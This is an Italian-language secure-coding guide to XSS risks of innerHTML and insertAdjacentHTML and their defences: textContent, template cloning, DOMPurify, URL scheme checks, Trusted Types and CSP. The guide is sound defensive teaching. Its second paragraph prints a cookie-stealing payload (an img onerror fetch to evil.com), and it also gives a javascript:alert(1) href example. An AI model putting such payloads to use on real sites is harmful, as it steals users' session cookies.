Template e sicurezza di innerHTML

L'impostazione di el.innerHTML = userInput analizza la stringa come HTML. Se userInput contiene <script> o gestori di eventi come onerror, il browser li esegue, creando una vulnerabilità di Cross-Site Scripting (XSS).

Un aggressore invia un nome utente: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. Se viene visualizzato con innerHTML, onerror viene eseguito ed esfiltra il cookie di sessione. Il contenuto testuale diventa codice eseguibile.

el.textContent = userInput tratta la stringa come testo semplice: nessuna analisi HTML e nessuna esecuzione di script. Il browser esegue automaticamente l'escape di < e > nei nodi di testo. Usi sempre textContent per i valori forniti dagli utenti.

Quando usa template.cloneNode(true), la struttura proviene da un template HTML già analizzato, non da una stringa fornita dall'utente. L'impostazione dei valori tramite textContent sui nodi clonati mantiene i dati dell'utente nei nodi di testo, mai nell'HTML analizzato. Struttura e dati rimangono separati.

Se è necessaria la formattazione HTML fornita dagli utenti (testo avanzato), esegua la sanificazione prima di impostare innerHTML. DOMPurify è la libreria standard: el.innerHTML = DOMPurify.sanitize(richHtml). Rimuove tag e attributi pericolosi preservando la formattazione sicura.

insertAdjacentHTML("beforeend", html) analizza anch'esso stringhe HTML: presenta lo stesso rischio XSS di innerHTML. Applichi le stesse regole di sanificazione. L'alternativa più sicura consiste nel creare elementi con createElement, impostare il loro textContent e usare appendChild.

L'impostazione di attributi con dati forniti dall'utente può creare un'iniezione: el.setAttribute("href", userUrl) dove userUrl è javascript:alert(1) crea un attacco XSS. Convalidi gli schemi degli URL: consenta solo http:, https: e mailto: prima di impostare gli attributi href o src.

Il DOM clobbering è un attacco in cui gli elementi di modulo denominati (id="getElementById") sovrascrivono le variabili JavaScript globali. Acceda sempre agli elementi tramite document.getElementById() invece di usare le proprietà globali di window. Anche la Content Security Policy contribuisce a mitigare gli attacchi di clobbering.

Trusted Types (in Chrome, applicato tramite CSP) richiede che innerHTML, insertAdjacentHTML e sink simili ricevano stringhe racchiuse in una policy. Non è possibile assegnare stringhe non elaborate: sono consentiti solo i valori creati da una policy TrustedTypes dichiarata. Questo impedisce di eludere accidentalmente la sanificazione.

La creazione di elementi con l'API DOM (createElement, createTextNode) e la loro manipolazione in un DocumentFragment è intrinsecamente sicura rispetto a XSS: il testo è sempre testo e non viene mai analizzato come HTML. I DocumentFragment sono il modo più sicuro per costruire interfacce dinamiche complesse.

Una CSP rigorosa (senza unsafe-inline e con script basati su nonce) offre una protezione aggiuntiva contro gli attacchi XSS. Anche se un aggressore inietta HTML, la CSP impedisce l'esecuzione degli script iniettati. La CSP non elimina la necessità della sanificazione: è una rete di sicurezza, non la difesa principale.

innerHTML e le API correlate analizzano stringhe HTML, creando vulnerabilità XSS quando i dati degli utenti vengono interpolati senza sanificazione. L'uso di textContent, della clonazione di template con compilazione tramite textContent, di DOMPurify per il testo avanzato e della Content Security Policy crea una difesa a più livelli contro gli attacchi di iniezione HTML.